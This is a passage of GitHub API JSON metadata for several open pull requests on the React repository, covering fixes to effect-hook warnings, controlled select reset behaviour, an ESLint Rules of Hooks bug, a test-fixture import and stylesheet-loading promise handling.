}, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "65eec428c40d542d4d5a9c1af5c3f406aecf3440", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35428" }, "html": { "href": "https://github.com/facebook/react/pull/35428" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35428" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35428/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35428/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35428/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/41550dfa40b87296f97ee47d3b3faf93f664328f" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 3, 2, 35424 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35427", "id": 3136652629, "node_id": "PR_kwDOAJy2Ks669YVV", "number": 35427, "state": "open", "locked": false, "title": "Dedupe effect dev warning", "user": { "login": "Don-Erfano", "id": 103873262, "node_id": "U_kgDOBjD67g", "avatar_url": "https://avatars.githubusercontent.com/u/103873262?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Don-Erfano", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "### Summary\r\nDeduplicates the DEV-only warning logic for effect hooks when the callback is missing.\r\n\r\n### Details\r\nThe same warning logic was repeated in useEffect, useInsertionEffect, and\r\nuseLayoutEffect. This change extracts the DEV-only check into a shared helper\r\nwhile preserving static warning strings required by react-internal lint rules.\r\n\r\n### Tests\r\n- Existing tests\r\n- New test added to cover missing effect callback warning\r\n", "created_at": "2025-12-30T12:12:29Z", "updated_at": "2026-01-09T06:11:01Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "6efc6a0bbc6fc69c380a122281041b0df031449d", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "Don-Erfano:dedupe-effect-dev-warning", "ref": "dedupe-effect-dev-warning", "sha": "6388cb195de4bb42fb4391e09cb57ab9e458c9a5", "user": { "login": "Don-Erfano", "id": 103873262, "node_id": "U_kgDOBjD67g", "avatar_url": "https://avatars.githubusercontent.com/u/103873262?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Don-Erfano", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1125242887, "node_id": "R_kgDOQxHYBw", "name": "react", "full_name": "Don-Erfano/react", "private": false, "owner": { "login": "Don-Erfano", "id": 103873262, "node_id": "U_kgDOBjD67g", "avatar_url": "https://avatars.githubusercontent.com/u/103873262?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Don-Erfano", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/Don-Erfano/react", "created_at": "2025-12-30T11:34:57Z", "updated_at": "2026-01-19T13:28:27Z", "pushed_at": "2025-12-30T12:10:37Z", "homepage": "https://react.dev", "size": 123516, "stargazers_count": 1, "watchers_count": 1, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 1, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "65eec428c40d542d4d5a9c1af5c3f406aecf3440", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35427" }, "html": { "href": "https://github.com/facebook/react/pull/35427" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35427" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35427/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35427/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35427/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/6388cb195de4bb42fb4391e09cb57ab9e458c9a5" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35426", "id": 3135985576, "node_id": "PR_kwDOAJy2Ks6661eo", "number": 35426, "state": "open", "locked": false, "title": "Fix controlled select reset behavior after form action", "user": { "login": "xuanxuan321", "id": 26357577, "node_id": "MDQ6VXNlcjI2MzU3NTc3", "avatar_url": "https://avatars.githubusercontent.com/u/26357577?v=4", "gravatar_id": "", "url": "https://api.github.com/users/xuanxuan321", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "## Summary\n\nFixes #30580\n\nThis PR fixes a bug where controlled `` elements correctly maintained their values.\n\n## Problem\n\nWhen a form with a controlled select element is submitted using a form action, React automatically calls `form.reset()` after the action completes. According to the HTML specification:\n- Input elements read from the `value` attribute (corresponding to `defaultValue` property)\n- Select elements read from option's `selected` attribute (corresponding to `defaultSelected` property)\n\nReact was syncing `defaultValue` for controlled inputs but **not** syncing `defaultSelected` for controlled selects. This caused selects to reset to an undefined state rather than maintaining their controlled value.\n\n## Solution\n\nModified three functions in `ReactDOMSelect.js` to sync the `defaultSelected` attribute for controlled select elements, making their behavior consistent with controlled inputs:\n\n1. `initSelect()` - line 155\n2. `updateSelect()` - line 224 \n3. `restoreControlledSelectState()` - line 241\n\nChanged the `setDefaultSelected` parameter from `false` to `true` when `value != null` (controlled component).\n\n## Test Plan\n\n- Added new test case: \"controlled select elements maintain their value after form reset\"\n- All 45 ReactDOMForm tests pass ✅\n- All 63 ReactDOMSelect tests pass ✅\n- No regressions in existing functionality\n\n## How to Test\n\n```jsx\nfunction App() {\n const [type, setType] = useState(\"2\");\n \n return (\n
{ /* async action */ }}>\n \n
\n );\n}\n```\n\n**Before fix**: Select resets to first option after form submission \n**After fix**: Select maintains the controlled value ✅", "created_at": "2025-12-30T06:15:52Z", "updated_at": "2025-12-30T07:18:16Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "3a20b75b8dc403b5de4f08459913adccdd17cffc", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "xuanxuan321:fix-controlled-select-reset-30580", "ref": "fix-controlled-select-reset-30580", "sha": "70c1ae306260baa58cd9ea4f5a97bfb6c8e99133", "user": { "login": "xuanxuan321", "id": 26357577, "node_id": "MDQ6VXNlcjI2MzU3NTc3", "avatar_url": "https://avatars.githubusercontent.com/u/26357577?v=4", "gravatar_id": "", "url": "https://api.github.com/users/xuanxuan321", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1125093865, "node_id": "R_kgDOQw-R6Q", "name": "react", "full_name": "xuanxuan321/react", "private": false, "owner": { "login": "xuanxuan321", "id": 26357577, "node_id": "MDQ6VXNlcjI2MzU3NTc3", "avatar_url": "https://avatars.githubusercontent.com/u/26357577?v=4", "gravatar_id": "", "url": "https://api.github.com/users/xuanxuan321", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/xuanxuan321/react", "created_at": "2025-12-30T06:13:46Z", "updated_at": "2026-02-27T01:45:40Z", "pushed_at": "2026-02-27T01:45:13Z", "homepage": "https://react.dev", "size": 126800, "stargazers_count": 0, "watchers_count": 0, "language": "JavaScript", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "65eec428c40d542d4d5a9c1af5c3f406aecf3440", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35426" }, "html": { "href": "https://github.com/facebook/react/pull/35426" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35426" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35426/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35426/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35426/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/70c1ae306260baa58cd9ea4f5a97bfb6c8e99133" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 3, 30580 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35420", "id": 3132817017, "node_id": "PR_kwDOAJy2Ks66uv55", "number": 35420, "state": "open", "locked": false, "title": "Fix Report: ESLint Rules of Hooks Bug in Default Export Arrow Functions", "user": { "login": "afurm", "id": 6375192, "node_id": "MDQ6VXNlcjYzNzUxOTI=", "avatar_url": "https://avatars.githubusercontent.com/u/6375192?v=4", "gravatar_id": "", "url": "https://api.github.com/users/afurm", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "## Problem Description\r\n\r\nA critical bug was identified in the `eslint-plugin-react-hooks` package where the \"Rules of Hooks\" were not being enforced for React Hooks called within anonymous default export arrow functions.\r\n\r\n### Example of Buggy Behavior\r\nThe following code should have triggered an ESLint error but was incorrectly marked as valid:\r\n\r\n```javascript\r\nexport default () => {\r\n if (isVal) {\r\n useState(0); // This conditional hook call was NOT flagged\r\n }\r\n}\r\n```\r\n\r\n### Root Cause Analysis\r\nThe issue resided in the `getFunctionName()` utility function within `RulesOfHooks.ts`. This function is responsible for determining the name of the function currently being analyzed.\r\n\r\n1. **Missing Node Support**: The function did not account for `ExportDefaultDeclaration` as a parent node for `ArrowFunctionExpression` or `FunctionExpression`.\r\n2. **Validation Bypass**: When `getFunctionName()` returned `undefined` for these anonymous default exports, the rule's logic fell into a lenient `else` block that skipped reporting unless the code was explicitly determined to be inside another known component or hook.\r\n3. **Incomplete Scope Analysis**: Because the function name was missing, the linter failed to recognize that the hook was being called in a context that is neither a valid React Function Component (which must be PascalCase) nor a Custom Hook (which must start with `use`).\r\n\r\n---\r\n\r\n## Solution\r\n\r\nThe fix involved two primary changes to `packages/eslint-plugin-react-hooks/src/rules/RulesOfHooks.ts`:\r\n\r\n### 1. Enhanced Function Name Detection\r\nUpdated `getFunctionName()` to detect when a function is a default export and return a synthetic identifier with the name `\"default\"`.\r\n\r\n```typescript\r\n// packages/eslint-plugin-react-hooks/src/rules/RulesOfHooks.ts\r\n\r\n// ... inside getFunctionName ...\r\n} else if (node.parent?.type === 'ExportDefaultDeclaration') {\r\n // Handle: export default () => {};\r\n return {type: 'Identifier', name: 'default'} as Node;\r\n}\r\n```\r\n\r\n### 2. Robust Error Reporting\r\nImproved the error reporting logic to handle synthetic identifiers. Previously, the code called `getSourceCode().getText(codePathFunctionName)`, which would throw an error on synthetic nodes that don't exist in the actual source text.\r\n\r\n```typescript\r\n// packages/eslint-plugin-react-hooks/src/rules/RulesOfHooks.ts\r\n\r\nconst functionNameText =\r\n 'name' in codePathFunctionName && typeof codePathFunctionName.name === 'string'\r\n ? codePathFunctionName.name\r\n : getSourceCode().getText(codePathFunctionName);\r\n\r\n// Resulting error message:\r\n// React Hook \"useState\" is called in function \"default\" that is neither a React function component...\r\n```\r\n\r\n---\r\n\r\n## Verification Results\r\n\r\n### Automated Tests\r\nThe fix was verified by moving existing \"TODO\" test cases in `ESLintRulesOfHooks-test.js` from the `valid` suite to the `invalid` suite.\r\n\r\n- **Test Suite**: `packages/eslint-plugin-react-hooks/__tests__/ESLintRulesOfHooks-test.js`\r\n- **Total Tests Passed**: 1420\r\n- **Regressions**: None. The fix specifically targeted the `default` export case without affecting the intentional leniency for generic callbacks outside of React contexts.\r\n\r\n### Impact\r\nThis fix ensures that developers using anonymous default exports (a common pattern in React) are properly warned when they violate the Rules of Hooks, preventing potential runtime bugs related to hook execution order.\r\n\r\n", "created_at": "2025-12-28T09:18:23Z", "updated_at": "2025-12-28T09:18:29Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "81cfe5a8cde27c5605c304321bfceb3df194adad", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "afurm:fix/rules-of-hooks-default-export", "ref": "fix/rules-of-hooks-default-export", "sha": "2b70e33509d7dfd4840a99851807b53a94e2ef20", "user": { "login": "afurm", "id": 6375192, "node_id": "MDQ6VXNlcjYzNzUxOTI=", "avatar_url": "https://avatars.githubusercontent.com/u/6375192?v=4", "gravatar_id": "", "url": "https://api.github.com/users/afurm", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1120644491, "node_id": "R_kgDOQsutiw", "name": "react", "full_name": "afurm/react", "private": false, "owner": { "login": "afurm", "id": 6375192, "node_id": "MDQ6VXNlcjYzNzUxOTI=", "avatar_url": "https://avatars.githubusercontent.com/u/6375192?v=4", "gravatar_id": "", "url": "https://api.github.com/users/afurm", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/afurm/react", "created_at": "2025-12-21T16:43:33Z", "updated_at": "2025-12-21T16:43:33Z", "pushed_at": "2025-12-28T09:15:05Z", "homepage": "https://react.dev", "size": 123526, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "65eec428c40d542d4d5a9c1af5c3f406aecf3440", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35420" }, "html": { "href": "https://github.com/facebook/react/pull/35420" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35420" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35420/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35420/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35420/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/2b70e33509d7dfd4840a99851807b53a94e2ef20" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35416", "id": 3131336993, "node_id": "PR_kwDOAJy2Ks66pGkh", "number": 35416, "state": "open", "locked": false, "title": "fix: add missing useState import in test fixture", "user": { "login": "PGrayCS", "id": 77597544, "node_id": "MDQ6VXNlcjc3NTk3NTQ0", "avatar_url": "https://avatars.githubusercontent.com/u/77597544?v=4", "gravatar_id": "", "url": "https://api.github.com/users/PGrayCS", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "## Summary\n\nThe test fixture \\preserve-use-memo-unused-state.js\\ uses \\useState\\ but was missing the import, causing the test to throw:\n\n\\\\\\\n(kind: exception) useState is not defined\n\\\\\\\n\n## Fix\n\nAdded \\useState\\ to the import statement alongside \\useCallback\\ and \\useTransition\\.\n\n## Test Plan\n\nThe fixture should now execute without the \\useState is not defined\\ error.", "created_at": "2025-12-26T15:13:14Z", "updated_at": "2025-12-26T15:13:20Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "2897b74a19b8a2258e13f0eda7d5865209a70b70", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": {}, "milestone": null, "draft": false, "head": { "label": "PGrayCS:fix/missing-usestate-import", "ref": "fix/missing-usestate-import", "sha": "e16c466571f879e565882dda1826d688c4717db1", "user": { "login": "PGrayCS", "id": 77597544, "node_id": "MDQ6VXNlcjc3NTk3NTQ0", "avatar_url": "https://avatars.githubusercontent.com/u/77597544?v=4", "gravatar_id": "", "url": "https://api.github.com/users/PGrayCS", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1123283181, "node_id": "R_kgDOQvPw7Q", "name": "react", "full_name": "PGrayCS/react", "private": false, "owner": { "login": "PGrayCS", "id": 77597544, "node_id": "MDQ6VXNlcjc3NTk3NTQ0", "avatar_url": "https://avatars.githubusercontent.com/u/77597544?v=4", "gravatar_id": "", "url": "https://api.github.com/users/PGrayCS", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/PGrayCS/react", "created_at": "2025-12-26T14:52:11Z", "updated_at": "2025-12-26T14:52:11Z", "pushed_at": "2025-12-27T11:53:53Z", "homepage": "https://react.dev", "size": 880642, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 1, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 1, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "65eec428c40d542d4d5a9c1af5c3f406aecf3440", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35416" }, "html": { "href": "https://github.com/facebook/react/pull/35416" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35416" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35416/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35416/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35416/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/e16c466571f879e565882dda1826d688c4717db1" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35415", "id": 3130945506, "node_id": "PR_kwDOAJy2Ks66nm_i", "number": 35415, "state": "open", "locked": false, "title": "Fix/unhandled promise rejection stylesheet loading", "user": { "login": "Lihexs", "id": 47320608, "node_id": "MDQ6VXNlcjQ3MzIwNjA4", "avatar_url": "https://avatars.githubusercontent.com/u/47320608?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Lihexs", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "## Summary\r\n\r\nFix UnhandledPromiseRejection crash in Jest when CSS stylesheet resources fail to load.\r\n\r\nWhen a stylesheet fails to load, the Promise created with `link.onerror = reject` \r\nwas not being caught, causing Node.js/Jest to crash with UnhandledPromiseRejection.\r\n\r\n### Changes:\r\n1. Added `.catch(() => {})` to stylesheet loading Promises in `ReactFiberConfigDOM.js` (3 locations)\r\n2. Fixed test assertion order in `ReactDOMFloat-test.js` to match actual event dispatch order\r\n3. Unskipped the \"can delay commit until css resources error\" test\r\n\r\nNote: The empty `.catch()` handler is intentional - React already tracks the error state via `state.loading |= Errored`, so the catch is only needed to prevent Node.js from crashing on unhandled rejection.\r\n\r\n## How did you test this change?\r\n\r\nUnskipped and ran the previously failing test:\r\n```bash\r\nyarn test packages/react-dom/src/__tests__/ReactDOMFloat-test.js -t \"can delay commit until css resources error\"\r\n```\r\n\r\n**Before fix:** Jest crashes with `UnhandledPromiseRejection`\r\n\r\n**After fix:** Test passes successfully", "created_at": "2025-12-26T09:51:40Z", "updated_at": "2025-12-26T09:51:46Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "cf85fae5c75c8d6ea2de99aa44e82e47dee00708", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 